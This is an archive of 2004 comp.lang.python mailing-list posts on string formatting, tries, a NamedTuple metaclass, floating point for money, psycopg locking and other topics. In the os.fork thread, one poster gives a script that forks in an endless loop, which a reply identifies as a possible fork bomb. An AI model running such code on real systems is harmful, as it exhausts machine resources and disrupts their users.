stacks, and a retransmission avalanche is possible.

-30- as this is no longer Python related.


From aleaxit at yahoo.com  Tue Sep 14 07:43:44 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 14 Sep 2004 13:43:44 +0200
Subject: string % dictionary question
References: <ZFq1d.15197$QJ3.11816@newssvr21.news.prodigy.com>
Message-ID: <1gk3mpu.11xm5vec8g9eeN%aleaxit@yahoo.com>

Sam Sungshik Kong <ssk at chol.nospam.net> wrote:

> Hello, group!
> 
> <code>
> >>> di={}
> >>> di["test"]=None
> >>> s="%(test)s" % di
> >>> s
> 'None'
> </code>
> 
> I want the result to be just empty string when the dictionary value is None.
> Is there a good way?

class Translator(object):
  def __init__(self, d, t=''):
    self.d = d
    self.t = t
  def __getitem__(self, n): 
    result = self.d.get(n)
    if result is None: result = self.t
    return result

s = 'before%(test)safter' % Translator({})

will leave 'beforeafter' in s, as the missing key gets treated just like
a None.  If you want this to raise, and only explicit None values to get
translated, change the first line of __getitem__ into
'result=self.d[n]'.


Alex


From maney at pobox.com  Sun Sep  5 21:03:59 2004
From: maney at pobox.com (Martin Maney)
Date: Mon, 6 Sep 2004 01:03:59 +0000 (UTC)
Subject: Fun transformation problem
References: <pan.2004.08.26.13.24.26.521173@riverhall_nospam_.co.uk>
	<Xns955268B4765A7daleriverhallsystems@192.168.8.150>
	<mailman.2547.1093642996.5135.python-list@python.org>
Message-ID: <chgd1v$icu$1@wheel2.two14.net>

John Lenton <john at grulic.org.ar> wrote:
> FYI, that goofy dictionary thing you're building is called a 'trie'.

And in some applications it may be handy to be able to construct the
trie piece by piece, or to add entries to it.  (BTW, am I wrong in
thinking that tries in general aren't restricted to having all leaf
nodes at the same level as the examples in this all do?  Not that I'm
complaining, since I'm not going to handle that general case either!)
So I'll start with a function to add a single leaf to a trie:

def add2trie(car, cdr, trie):
    if len(cdr) == 1:
        trie[car] = cdr[0]
    else:
	if not trie.has_key(car):
            trie[car] = {}
        add2trie(cdr[0], cdr[1:], trie[car])

...and then the requested function is trivial:

def f(lstlst):
    trie = {}
    for lst in lstlst:
        add2trie(lst[0], lst[1:], trie)
    return trie

car and cdr are intrusions from you-can-guess-where that suggested
themselves in the first hack which had 'way too many occurences of lst[0]
in it.

                              <digression>

BTW, the first sketch (which I decided I didn't like for its
unnecessary rebinding of existing subtries) could have made good use of
conditional assignment (sorry, it just keeps coming up as I skim
through the backlog today).  It would have gone something like...

def add2trie(lst, trie):
    trie[lst[0]] = (if len(lst) == 2: lst[1]
                    else: add2trie(lst[1:], trie.get(lst[0], {}))
    return trie

Obviously this is untested code, and to be honest I don't much like
this form when it has to spread across lines like that.  OTOH, it's an
amusing example, since it uses within the general conditional
expression one of Python's existing special-case hacks that wouldn't be
necessary (though it might still be handy) if Python had conditional
expressions.  :-)

                             </digression>

-- 
Vs lbh pna ernq guvf, lbh'er va ivbyngvba bs
gur Qvtvgny Zvyyraavhz Pbclevtug Npg.  -- anon.


From rattan at cps.cmich.edu  Fri Sep 24 14:39:11 2004
From: rattan at cps.cmich.edu (Ishwar Rattan)
Date: 24 Sep 2004 11:39:11 -0700
Subject: SUN/ONC RPC module?
Message-ID: <938a4680.0409241039.4a21a54c@posting.google.com>

Is there a module for ONC-RPC programming available? I did not
find entry in Global Module Index on http://doc.python.org/

-ishwar


From insert at spam.here  Thu Sep  2 11:58:21 2004
From: insert at spam.here (Doug Holton)
Date: Thu, 02 Sep 2004 10:58:21 -0500
Subject: python.NET vs. IronPython
In-Reply-To: <4136fe58$0$285$4d4ebb8e@news.nl.uu.net>
References: <mailman.2758.1094113688.5135.python-list@python.org>
	<xzh9kwuw4lj8$.18shw4j93827i.dlg@40tude.net>
	<4136fe58$0$285$4d4ebb8e@news.nl.uu.net>
Message-ID: <poWdnUtrlM6D3qrcRVn-iA@comcast.com>

Guyon Mor?e wrote:
> Can anyone tell me the difference between python.net and IronPython?

I think python.NET is just the regular Python (implemented in C, called 
CPython) with some changes to make it easier to call .NET libraries.  So 
for example you could add a line like "from CLR.System.Windows.Forms 
import Form".
IronPython is a complete rewrite of Python that itself runs in .NET's 
runtime engine (CLR).  See also boo and pycs.


From adurdin at gmail.com  Sun Sep  5 05:39:05 2004
From: adurdin at gmail.com (Andrew Durdin)
Date: Sun, 5 Sep 2004 19:39:05 +1000
Subject: Tuple question
In-Reply-To: <1gjlif4.km81clrhaw5vN%aleaxit@yahoo.com>
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
	<donn-8ED685.11274102092004@gnus01.u.washington.edu>
	<1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com>
	<mailman.2863.1094297233.5135.python-list@python.org>
	<1gjlif4.km81clrhaw5vN%aleaxit@yahoo.com>
Message-ID: <59e9fd3a04090502392be712a6@mail.gmail.com>

On Sat, 4 Sep 2004 15:58:08 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> 
> I think of a tuple with a given sequence of names for its fields as a
> type (a subclass of tuple, sure).  For example, the name->index
> correspondence for all the pseudotuples-with-9-items returned by module
> time is just the same one -- why would I want to carry around that
> dictionary for each INSTANCE of a time-pseudotuple, rather than having
> it once and for all in the type?
<snip>
> You prefer to specify the names every time you make an instance and
> build and carry the needed name->index dict along with each instance.
> Ah well, I guess that's OK, but I don't really see the advantage
> compared to the custom-metaclass approach.

Ah. This is one reason why a non-metaclass version is not so good.
There really is no advantage to my inheritance-based implementation --
I tried to make a metaclass version but ran into some issues. However,
on my second try I succeeded -- see below.

> Great, thanks -- I should get the snapshot tomorrow (or whenever they do
> start working again over in Vancouver, since I get it from
> ActiveState:-) and I'll be happy to consider presenting your approach
> (and a custom metaclass for contrast;-).

Below is a better (=easier to use) implementation using metaclasses;
I've submitted it to the Cookbook anyway (recipe #303481) despite
being past the deadling. The NamedTuple function is for convenience
(although the example doesn't use it for the sake of explicitness).
NamedTuples accepts a single argument: a sequence -- as for tuple() --
or a dictionary with (at least) the names that the NamedTuple expects.


class NamedTupleMetaclass(type):
    """Metaclass for a tuple with elements named and indexed.
    
    NamedTupleMetaclass instances must set the 'names' class attribute
    with a list of strings of valid identifiers, being the names for the
    elements. The elements can then be obtained by looking up the name
or the index.
    """

    def __init__(cls, classname, bases, classdict):
        super(NamedTupleMetaclass, cls).__init__(cls, classname,
bases, classdict)

        # Must derive from tuple
        if not tuple in bases:
            raise ValueError, "'%s' must derive from tuple type." % classname
            
        # Create a dictionary to keep track of name->index correspondence
        cls._nameindices = dict(zip(classdict['names'],
range(len(classdict['names']))))
        
        
        def instance_getattr(self, name):
            """Look up a named element."""
            try:
                return self[self.__class__._nameindices[name]]
            except KeyError:
                raise AttributeError, "object has no attribute named
'%s'" % name

        cls.__getattr__ = instance_getattr

        
        def instance_setattr(self, name, value):
            raise TypeError, "'%s' object has only read-only
attributes (assign to .%s)" % (self.__class__.__name__, name)

        cls.__setattr__ = instance_setattr

        
        def instance_new(cls, seq_or_dict):
            """Accept either a sequence of values or a dict as parameters."""
            if isinstance(seq_or_dict, dict):
                seq = []
                for name in cls.names:
                    try:
                        seq.append(seq_or_dict[name])
                    except KeyError:
                        raise KeyError, "'%s' element of '%s' not
given" % (name, cls.__name__)
            else:
                seq = seq_or_dict
            return tuple.__new__(cls, seq)

        cls.__new__ = staticmethod(instance_new)


def NamedTuple(*namelist):
    """Class factory function for creating named tuples."""
    class _NamedTuple(tuple):
        __metaclass__ = NamedTupleMetaclass
        names = list(namelist)

    return _NamedTuple


# Example follows
if __name__ == "__main__":
    class PersonTuple(tuple):
        __metaclass__ = NamedTupleMetaclass
        names = ["name", "age", "height"]

    person1 = PersonTuple(["James", 26, 185])
    person2 = PersonTuple(["Sarah", 24, 170])
    person3 = PersonTuple(dict(name="Tony", age=53, height=192))
    
    print person1
    for i, name in enumerate(PersonTuple.names):
        print name, ":", person2[i]
    print "%s is %s years old and %s cm tall." % person3

    person3.name = "this will fail"


From maney at pobox.com  Tue Sep  7 10:11:54 2004
From: maney at pobox.com (Martin Maney)
Date: Tue, 7 Sep 2004 14:11:54 +0000 (UTC)
Subject: PHP Documentation
References: <mailman.2616.1093881807.5135.python-list@python.org>
Message-ID: <chkfja$f62$1@wheel2.two14.net>

Ben Last <ben at benlast.com> wrote:
> on the big pages that can be quite a slow process.  That's not such a big
> deal, but the second drawback is that there's no way to edit a comment once
> made, so the pages have gradually filled up with junk remarks.  Those who
> have the power to edit don't seem to.

That last sentence is of the first importance.  A collaborative work
*needs* editors.  Thoughtful, careful editors who are not afraid to
Refactor Mercilessly when necessary, and wise enough not to do it too
soon.  Ideally.  :-)  In practice, it may be enough to allow the
community to edit.  Sometimes it is, sometimes not - it depends on what
audience is drawn to the wiki.

> A Python docs Wiki sounds like an interesting idea; I'll certainly be taking
> a look at the one quoted.  Offhand, does anyone know if the license on the
> Python Docs would allow them to be freely copied and used as the basis of a
> Wiki?

My first thought was "of course!"  Then I thought, "maybe I should take
a look."  That stopped me: every document I've checked says to find the
licence and permissions at the end (in "About this document..." - BTW,
what's with the ellipses?).  Not one of the identical "About" sections
I've looked at has had any hint of a license in it.

My fallback position is a little roundabout: Debian distributes the
Python docs, therefore the docs are [almost] surely under a license
that's free enough to meet the DFSG rules, which should more than cover
this use.  The weakest point in this is that the licenses for docs have
sometimes not been scrutinized as carefully as licenses for the code
(and cleaning up free-but-not-DFSG-free bits seems to be high on the
post-Sarge-release to-do list).

-- 
...that obsessive conviction, so common among authors and composers,
that all similarities between their works and any others which appear
later must inevitably be ascribed to plagiarism. -- 2nd Circuit, 1945


From greg at cosc.canterbury.ac.nz  Wed Sep 15 02:23:03 2004
From: greg at cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 15 Sep 2004 18:23:03 +1200
Subject: up with PyGUI!
In-Reply-To: <m3llfc2lwb.fsf@g2ctech.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>	<m3vfeg69xp.fsf@g2ctech.com>	<mailman.3320.1095184231.5135.python-list@python.org>
	<m3llfc2lwb.fsf@g2ctech.com>
Message-ID: <2qq5e8F133c5kU2@uni-berlin.de>

Jorge Godoy wrote:
> And it accepts either GTK1 and GTK2?

Only Gtk2.

> Does it accept GTK on Windows?

Yes, as far as I know. I haven't tested it myself,
but I don't know of any reason it shouldn't work.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From me at privacy.net  Wed Sep 22 22:46:54 2004
From: me at privacy.net (Richard Hanson)
Date: Wed, 22 Sep 2004 19:46:54 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
Message-ID: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>

While this post is primarily off-topic, I'm using Python to test
ideas, and hopefully, to develop a prototype for the project. I've
noticed that this group is frequented by some of the finer minds in
compsci; this post relates to HCIs and possible improvements to such.
But, be all that as it may, if this project can be shot down -- this
is where I'd prefer it to be done. :-) 

(I've been very impressed with the civil adult behavior here. Polite
*and* humorous -- my kind of people! In any event, I apologize if
anyone is offended by my posting of this, here.)

I had hoped to not announce until I had a minimal prototype ready.
However, my quickly disappearing time resources are being "devoured by
locusts"[1], some time-resources spent just trying to keep online
access, what with my current stable of failing Windows-based (alas)
computers and the current trend towards complexity rather than
simplicity in the world. 

(Python is the epitome of complexity-controlling languages; I think it
appropriate that this project which aims to markedly simplify the
complexity of the user interface [no lofty aspirations, here :-) ], be
done in Python.)

---

My project, "code-named" Pathfinder, is planned as a computing
appliance with "all batteries included" which answers 95%, say, of the
typical user's computing needs. It would be convenient for both the
"power user" and Grandma. Such arcana as harddrives, directories,
files, OS vs. apps distinctions, etc. would be hidden from user view.
(Some of these items wouldn't even need to exist under-the-covers.)
Something like Pathfinder could ultimately be, perhaps, the Model-T of
the not-yet-here Computer Age (with lots of help designing and
implementing such, of course).

(If you think I'm deluded -- you may well be right <wink> -- but read
on. HCI was my main area of interest back in my active [i.e., under
employment] programming days. Laziness, and now "mouser's arm," have
been, and still are, my main sources of inspiration. :-) )

---

One of the goals of Pathfinder is to have an integrated OS and system
on flash ROM, say, totally separated from user data (user data being
automatically and redundantly backed up transparently to the user)
with the system supplying the more commonly needed functionality in an
integrated manner. For example, Pathfinder would not allow apps to be
added by the user -- no need, as virtually all batteries are provided.
Authorized upgrades of the system ROM would still be allowed by the
spec. 

Another part of Pathfinder is a perhaps better HCI -- no need to steer
a mouse all around the screen just to arrive at some point which could
have been immediately gone to. And no need for sixteen ways to do
everything. Instead, a touchscreen-and-stylus, and an array of
dynamically labeled buttons in a panel on one side of the
browser-detail pane, would be the primary *one way* (other than the
keyboard) to interact with the system. (Detail views in the adjacent
browser-detail pane *may* need to have additional controls depending
on the object type: AV, text, PIM, etc.) 

The dynamically labeled buttons would either evoke some action as a
"leaf," or evoke a new "sub-menu" of newly labeled buttons (ala the
"softmenu" keys of the HP28 and HP48 series calculators). 

The browser-pane view, using only the dynamic button-panel and a few
screen-taps, could be "narrowed-down" from the all-objects, global
view to a very select, subset view through filter, sort, and attribute
selection. In this way, the desired "needle in an increasingly more
humongous haystack" could be found with only a few screen-taps of the
button-panel. Once an object (user or user-configuration data), or a
set of such, is in view, a few more button-panel taps could add (or
modify) the object(s) attributes as desired to "add value" for future,
further ease-of-use. 

Basically, the current windows-icons-mouse-pointer interface would be
entirely replaced by the "button panel" and touchscreen. (A mouse
could substitute for the touchscreen in the interim as the project is
being prototyped on conventional platforms.) No more menubars,
taskbars, Start Menus, endless series of dialog boxes, steering around
cascading menus, etc. With only a few dynamically labeled buttons,
say, properly nested in a sensible but easily changeable tree,
"zillions" of leaves of tasks, filters, orders, attributes, etc. could
be reached with only a few screen-taps. 

The project would be open-source, of course. (Not sure how any
eventual hardware could be open-sourced...?) I have more to say about
the specs and philosophy of the project if anyone is interested. (I've
had this project on the back burner throughout a seven-year-long
family reunion book undertaking; only now can I apply my available
resources without *that* distraction, however.) Contact me off-group
if you've a mind to.

Thanks very much if you have read all the way through this... uh...
something or other.


for-posterity-in-an-ever-increasingly-complex-world'ly y'rs,
Richard Hanson
_______________________________________________
[1] "Borrowed" from Jerry Pournelle's frequent usage.

Note: I could edit this forever, but I'm punching SEND, now -- ypoes
and such are thrown in for free. ;-)

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From Barkmann at gmail.com  Thu Sep 23 01:03:43 2004
From: Barkmann at gmail.com (Chris Barker)
Date: 22 Sep 2004 22:03:43 -0700
Subject: Why not FP for Money?
References: <mailman.3721.1095866067.5135.python-list@python.org>
Message-ID: <cc887c1d.0409222103.388c40de@posting.google.com>

"Batista, Facundo" <FBatista at uniFON.com.ar> wrote in message 
> Well, actually that's an issue, because the "banker's rounding" is not the
> same rounding in every country.
> 
> That's why in Decimal you have a lot of roundings to choose.

Exactly. I am the OP, and my question was "What am I missing?", and
that is the above is the answer.

I had started with the assumption that the IEEE 754 rounding methods
were about as good as anyone was likely to get, and certainly better
than I was going to come up with on my own. What I had missed was that
accounting has rules about rounding, and your accounting package had
better follow the appropriate rules. Once you are handling all the
rounding yourself, you might as well use integers.

To address a few other points, just so I don't look like an idiot for
all posterity in usenet.

I'm well aware of the difference between base ten and two. That really
isn't the issue here. binary FP can represent fractions jsut as
accurately as decimal, it's just a different set that they represent.
Perhps accounting rules have base ten built into them, but other than
that, the only advantage is familiarity: people expect 1/10 to be
represented exactly, but don't expect 1/3 to be. As far as money is
concerned, there is no real advantage, other than convention, to
perfectly representing 1/10 of a cent, but not 1/3 of a cent. With
binary FP, you can't represent 1/10 of a cent exactly, but you can get
darn close, and if you round the answer to pennies when your done, it
will be just as accurate as decimal (given how many bit you use,
etc.), in general.

Now to address a few specific points made (sorry to lose the
attribution):
"""
Floating point arithmetic is useful for continuous quantities,
or quantities that are measured (as in weighed, etc.) Integers
(and rationals) are useful for things that are counted, which
includes currency units, but also includes anything else that
comes in discrete units  (apples and oranges, for instance).
"""

That only applies until you start slicing the oranges, and only
applies here if you are dealing with actual pennies. When people
calculate interest, tax, etc, they want to deal in fractional pennies.
That's why we can't just use integer pennies and have done with it.
However, it is true that while fractions do need to be dealt with, the
should not "float". That being said, as someone mentioned, accounting
practices are not neccsarily logical. Personally, thinking of money it
terms of significant digits would be fine with me. Is there really any
point in keeping track of the pennies when talkin gof trillions of
dollars?

"""
Beware! Floating point errors may bite you *even for non-fractional
numbers*
"""

I tried to address that in the OP. 64 bit IEEE FP carries a lot of
digits! This isn't an issue till you get to quadrillions of dollars.
The same issue comes up if you use standard integers, though then you
will get overflow instead. If not handled right, that could REALLY
give strange results! Fortunatly Python now automatically rolls over
to long integers.

"""
But you'll get different answers than decimal arithmetic would give
you, so the auditors will be all over your ass if you do it that way.
You don't want that.  You need decimal arithmetic.
"""

right. that is a matter of convention, not precision.

Tim, thanks for the references. I had seen that paper by Kahan, but
had forgotten it. However, it doesn't address my question, the main
point here is that "Decimal displays of Binary nonintegers cannot
always be WYSIWYG" This is entirely a perceptual problem, not an
accuracy one, though I suppse when it comes to money...perception is
very important!

The IBM references were informative as well.

One interesting distiction here: binary vs. decimal and floating point
vs. fixed point are orthoganal concepts that have been mingled here.
Alex pointed out that decimal floating point has the same problems as
binary as far as accuracy is concerned.

"""
What we'd _really_ want to specify is 'keep exactly two digits AFTER
the
decimal point, no matter how many there are BEFORE', but that's not
decimal's job -- it's still a floating point type, albeit decimal, NOT
a
fixed-point one.  Maybe we do need a fixed-point-decimal for 2.5...?
"""

Or a currency type, specifically. 

"""
consider, for 
example, a program that calculates payments on a real estate mortgage.
Given that interest may need to be calculated on a daily basis, and
that
the daily interest rate is a very small fraction, the imprecision of 
floating point can then become much more significant relative to the 
desired quantity.  And given that there's a *lot* of calculations over
which this imprecision can build (a 30-year mortgage ~= 10957 days),
and
the exponential nature of the interest calculation, this can become a 
real issue.
"""

OK, so how the heck do you do that? Any system, fixed or FP, binary or
decimal, is going to have the same issue. I think the answer is that
you have to round, but you can follow the appropriate accounting
practice when you do so.

thanks everyone, for some enlightening discussion.

-Chris


From andymac at bullseye.apana.org.au  Thu Sep 16 09:01:10 2004
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Thu, 16 Sep 2004 23:01:10 +1000 (EST)
Subject: os.fork() question?
In-Reply-To: <938a4680.0409141219.705ce901@posting.google.com>
References: <938a4680.0409131305.2516b461@posting.google.com>
	<mailman.3271.1095110255.5135.python-list@python.org>
	<938a4680.0409141219.705ce901@posting.google.com>
Message-ID: <20040916224937.V88910@bullseye.apana.org.au>

On Wed, 14 Sep 2004, Ishwar Rattan wrote:

> Erik Heneryd <erik at heneryd.com> wrote in message news:<mailman.3271.1095110255.5135.python-list at python.org>...
> > Ishwar Rattan wrote:
> > > Info at http://doc.python.org/ on os.fork() says that
> > >   it has 'unix' semantics (on a UNIX box) on return values
> > >   child pid in parent, 0 in child, no mention of failure?
> > >
> > > So, what does it return on failure? I tried it under Linux
> > > with Python-2.3.4, after few thousand forks the system just hangs!
> > > (does not return/report fork failure)
> >
> > It raises OSError.
> >
> The following code when executed kills controlling xterm+X-window system,
> but the system does not hang.
>
> -ishwar
> ---
> import os, signal, sys, time
>
> def child():
>     signal.pause()
>     print 'this from child with pid: ', os.getpid()
>     sys.exit(2)
>
> def main():
>     print 'forking child..'
>     while 1:
>        try:
>            cpid = os.fork()
>        except OSError:
>            raise 'fork failed..'
>        if cpid == 0:
>            child()
>        else:
>            print 'fork success..', cpid
>
> main()

You don't give much detail about your Linux environment, but be aware:
- Python by default is built with threading;
- signals in the presence of threads are a potential issue,
  even though the above code doesn't activate threads, because your
  Python process is using the threaded C library;
- ditto fork();
- various thread implementations have had bugs at various times in
  relation to signals and process management;
- the above code may be being treated as a "fork bomb" by Linux; in which
  case, the Python process(es) is/are summarily killed, possibly leaving
  lots of zombie processes around....

You may care to try building a Python interpreter without threads support
to test whether the some of the issues I mention above are implicated.

-------------------------------------------------------------------------
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
        andymac at pcug.org.au             (alt) |        Belconnen ACT 2616
Web:    http://www.andymac.org/               |        Australia


From heikowu at ceosg.de  Thu Sep  9 06:22:51 2004
From: heikowu at ceosg.de (Heiko Wundram)
Date: Thu, 9 Sep 2004 12:22:51 +0200
Subject: Set and {} comparison confusion
In-Reply-To: <1gjuc0j.1990z451x9dciqN%aleaxit@yahoo.com>
References: <mailman.3079.1094716024.5135.python-list@python.org>
	<1gjuc0j.1990z451x9dciqN%aleaxit@yahoo.com>
Message-ID: <200409091222.51330.heikowu@ceosg.de>

Am Donnerstag, 9. September 2004 10:18 schrieb Alex Martelli:
> def same_as_sets(onelist, another):
>     for item in onelist:
>         if item in another: return False
>     for item in another:
>         if item in onelist: return False
>     return True

Minor correction, shouldn't this be:

for item in onelist:
  if item not in another: return False
...

Notice the nice little word not, which makes all the difference... ;)

Heiko.


From clifford.wells at comcast.net  Wed Sep 29 09:30:20 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Wed, 29 Sep 2004 06:30:20 -0700
Subject: Psycopg; How to detect row locking?
In-Reply-To: <cj8u7f$6hh$1@netlx020.civ.utwente.nl>
References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl>
Message-ID: <1096464620.31570.7.camel@devilbox.devilnet.internal>

On Mon, 2004-09-27 at 13:40 +0200, Alban Hertroys wrote:
> Good day,
> 
> I have a number of threads doing inserts in a table, after which I want 
> to do a select. This means that it will occur that the row that I want 
> to select is locked (by the DB). In these cases, I believe I receive an 
> OperationalError (or is it an InterfaceError?).
> 
> Is it possible (and if so - how?) to verify that the exception occured 
> because of row locking, so that I can wait and try again?

I've seen this exception and frankly, it has always occurred due to row
locking.  Simply retry the query until it completes.

> Or are there better ways to achieve this? I'm not too charmed about 
> polling loops that may never end.

I've written multithreaded apps with hundreds of threads that used the
retry technique and never had a problem.  In fact, I believe Zope uses
this method.

> I'm using python 2.3 with psycopg 1.1.13 and PostgreSQL 7.4.2.
> 
> Regards, Alban Hertroys.
-- 
Cliff Wells <clifford.wells at comcast.net>



From christopher at baus.net  Tue Sep  7 19:09:47 2004
From: christopher at baus.net (christopher at baus.net)
Date: Tue, 7 Sep 2004 16:09:47 -0700 (PDT)
Subject: network programming list.
Message-ID: <40791.127.0.0.1.1094598587.squirrel@127.0.0.1>

Is there a network programming list for Python?  I primarily use python
for network programming, and the amount of traffic on this list is
overwhelming, as there are a bunch of topics regarding the language itself
rather than the applications.

I was wondering if others think it might be worth while to create a list
that is focused on network programming.

==
christopher baus
http://www.baus.net/



From adalke at mindspring.com  Thu Sep  9 19:47:08 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Sep 2004 23:47:08 GMT
Subject: Is except: ... pass bad style?
In-Reply-To: <m33c1rcrxg.fsf@pc150.maths.bris.ac.uk>
References: <pan.2004.09.09.16.26.16.985806@python.net>
	<m33c1rcrxg.fsf@pc150.maths.bris.ac.uk>
Message-ID: <0Y50d.2294$xA1.2210@newsread3.news.pas.earthlink.net>

Michael Hudson wrote:
> Come to think of it
> 
> getattr(myobj, "method", lambda :None)()
> 
> also acheives the same thing.  Bit inscrutable, though.

Who needs a lambda?

   getattr(myobj, "method", Exception)()

Even works for multiple arguments.  Now if only
Exception took kwargs...

Still inscrutable, or at least distracting.

(In other words, don't use this.)

			Andrew
			dalke at dalkescientific.com


From zanesdad at bellsouth.net  Mon Sep 27 07:55:41 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Mon, 27 Sep 2004 07:55:41 -0400
Subject: Divisions of labor
In-Reply-To: <20040925153106.GA3165@lairds.us>
References: <mailman.3639.1095771048.5135.python-list@python.org>	<1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com>	<4tg822-bmd.ln1@lairds.us>	<1gkiywn.1ydvxr62u3q0dN%aleaxit@yahoo.com>	<tkl822-p6i.ln1@lairds.us>
	<4151C3A9.6050505@bellsouth.net> <20040925153106.GA3165@lairds.us>
Message-ID: <4157FFBD.5020407@bellsouth.net>

Cameron Laird wrote:

>On Wed, Sep 22, 2004 at 02:25:45PM -0400, Jeremy Jones wrote:
>			.
>			.
>			.
>  
>
<snip>
very little of importance :-)
</snip>

>
>My newsfeed appears erratic; delays in my replies are not editorial comments.
>
>Mr. Jones, I'm unoffended.  I once *was* a debugger guru (expert in several
>debuggers, in fact); those are skills I've chosen to let lapse.  Nowadays, I
>feel more benefit in thinking about, for example, monads and categories.
>
>I don't know what else to say.  I am ever on the lookout for advantages a
>clever debugger will give me.  It's simply been years since I've noticed any.
>  
>
This helps me, actually.  Hearing this from someone like yourself whose 
posts I've come to respect, I'll keep this in mind as I dig deeper into 
pdb/whatever-debugger-I-turn-to.  Maybe I'll settle for "good enough to 
solve my tiny problems" rather than "guru".  Of course, there are a 
couple of benefits to becoming a debugger guru that are either not 
quantifiable or you can't claim "productive payback" as a justification for:

    * pure (geek) entertainment value.
    * geek respect from your co-workers

:-)

Jeremy
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040927/3d2be109/attachment.html>

From goodger at python.org  Fri Sep 24 09:51:15 2004
From: goodger at python.org (David Goodger)
Date: Fri, 24 Sep 2004 09:51:15 -0400
Subject: unittest.py patch: add skipped test functionality
In-Reply-To: <cj0o6t$mn2$1@sea.gmane.org>
References: <cj0o6t$mn2$1@sea.gmane.org>
Message-ID: <41542653.3060606@python.org>

[Remy Blank]
> I would also like to know if this would be a candidate for inclusion
> into the unittest.py provided with Python.

To have any chance of that, you should add your patch to the
SourceForge patch tracker for Python:
http://sourceforge.net/tracker/?func=add&group_id=5470&atid=305470

If you don't, it's likely that no Python core developer who cares will 
ever see it.  If you do, many will see it.

> I suppose I should contact Steve Purcell directly for that.

That may also be helpful.  But put the patch on SourceForge first!

-- 
David Goodger <http://python.net/~goodger>



From in.aqua.scribis at nl.invalid  Wed Sep  8 19:21:05 2004
From: in.aqua.scribis at nl.invalid (Peter Kleiweg)
Date: Thu, 9 Sep 2004 01:21:05 +0200
Subject: very odd, random window dumps
Message-ID: <Pine.LNX.4.44.0409090110370.1126-100000@kleigh.nl>


This is weird...

Running small Python scripts, now and again a window dump is
created, and saved as the module name without the extension.
This happens on Linux. The dumped file is a PostScript file with
the image of one Window that was active at the moment
(completely unrelated to the Python application), and has a
header comment that says it was created by ImageMagick. Magic,
indeed. The file has the somewhat unusual access bits
-rwxr--r--, but normal user and group.


-- 
Peter Kleiweg  L:NL,af,da,de,en,ia,nds,no,sv,(fr,it)  S:NL,de,en,(da,ia)
info: http://www.let.rug.nl/~kleiweg/ls.html



From jmfbahciv at aol.com  Thu Sep  9 09:21:45 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Thu, 09 Sep 04 13:21:45 GMT
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com><opsdy5xuappqzri1@mjolner.upc.no>
	<p9qdnTnxTYDJR6PcRVn-pw@speakeasy.net>
	<413f049f$0$6914$61fed72c@news.rcn.com>
	<5sjnhc.bb81.ln@via.reistad.priv.no>
Message-ID: <41406bfe$0$6912$61fed72c@news.rcn.com>

In article <5sjnhc.bb81.ln at via.reistad.priv.no>,
   Morten Reistad <firstname at lastname.pr1v.n0> wrote:
>In article <413f049f$0$6914$61fed72c at news.rcn.com>,  <jmfbahciv at aol.com> 
wrote:
>>In article <p9qdnTnxTYDJR6PcRVn-pw at speakeasy.net>,
>>   rpw3 at rpw3.org (Rob Warnock) wrote:
>>>John Thingstad <john.thingstad at chello.no> wrote:
>>>+---------------
>>>| As you may know XP is not particularly good as a server.
>>>....
>>>| I would go for some Unix implementation (perhaps free-BSD)
>>>| As a workstation XP seems OK.
>>>| I hear a lot of complaints about XP's stability.
>>>| Since I have not administered a XP network, yet, I cant comment on 
that.
>>>| But in my personal experience it is a stable system.
>>>| I frequently let my computer run 24 hrs. a day for more than a month  
>>>| without a need to reboot. So for me it is adequate.
>>>+---------------
>>>
>>>*Only* a month?!?  Here's the uptime for one of my FreeBSD boxes
>>>[an old, slow '486]:
>>>
>>>    %  uptime
>>>     2:44AM  up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 0.00
>>>    % 
>>>
>>>That's over *20* months!!
>>
>>I bet we can measure the youngster's age by the uptimes he boasts.
>>>
>>>
>>>-Rob
>>>
>>>p.s. I remember the time back in the early 70's (at Emory Univ.) when
>>>we called DEC Field Service to complain that our PDP-10 had an uptime
>>>of over a year. Why were we complaining? Well, that meant that DEC Field
>>>Service had failed to perform scheduled preventive maintenance (which
>>>usually involved at least one power cycle)...  ;-}
>>
>>One?  Had to be two.  FS was supposed to use their service pack
>>as the system disk, not the customers!!!  I believe that was
>>true even in 1970.  The dangers of smushing bits was too great.
>
>But with a PM you had to do a cold start. All the disks had to be 
>spun down, filters changed, and they had to spin for an ungodly long
>time after the filter change before heads could be enabled again. This
>was to bring all the dust that was let loose in the process into the new
>filters before heads went to fly over the platters again.

That's why there was always two boots; one for FS to bring up thier
service pack to run diags; the other one was when the system was
handed back to the customer.

>
>Also power supplies had to be checked for the dreaded capacitor
>problems. Tape drives also had these. This was industry-wide 
>problems; and news from a few burned UPS'es the last couple of
>months tell me that the capacitor problems are still with us.
>
>It was a real accomplishment when we in 1988 could do a full
>PM (Prime gear) without shutting down the system. All disks were
>mirrored, and all power duplicated, so we shut down half of the
>hardware and did PM on that; and took the other half next week.

That's exactly what JMF's and TW's implementation of SMP gave
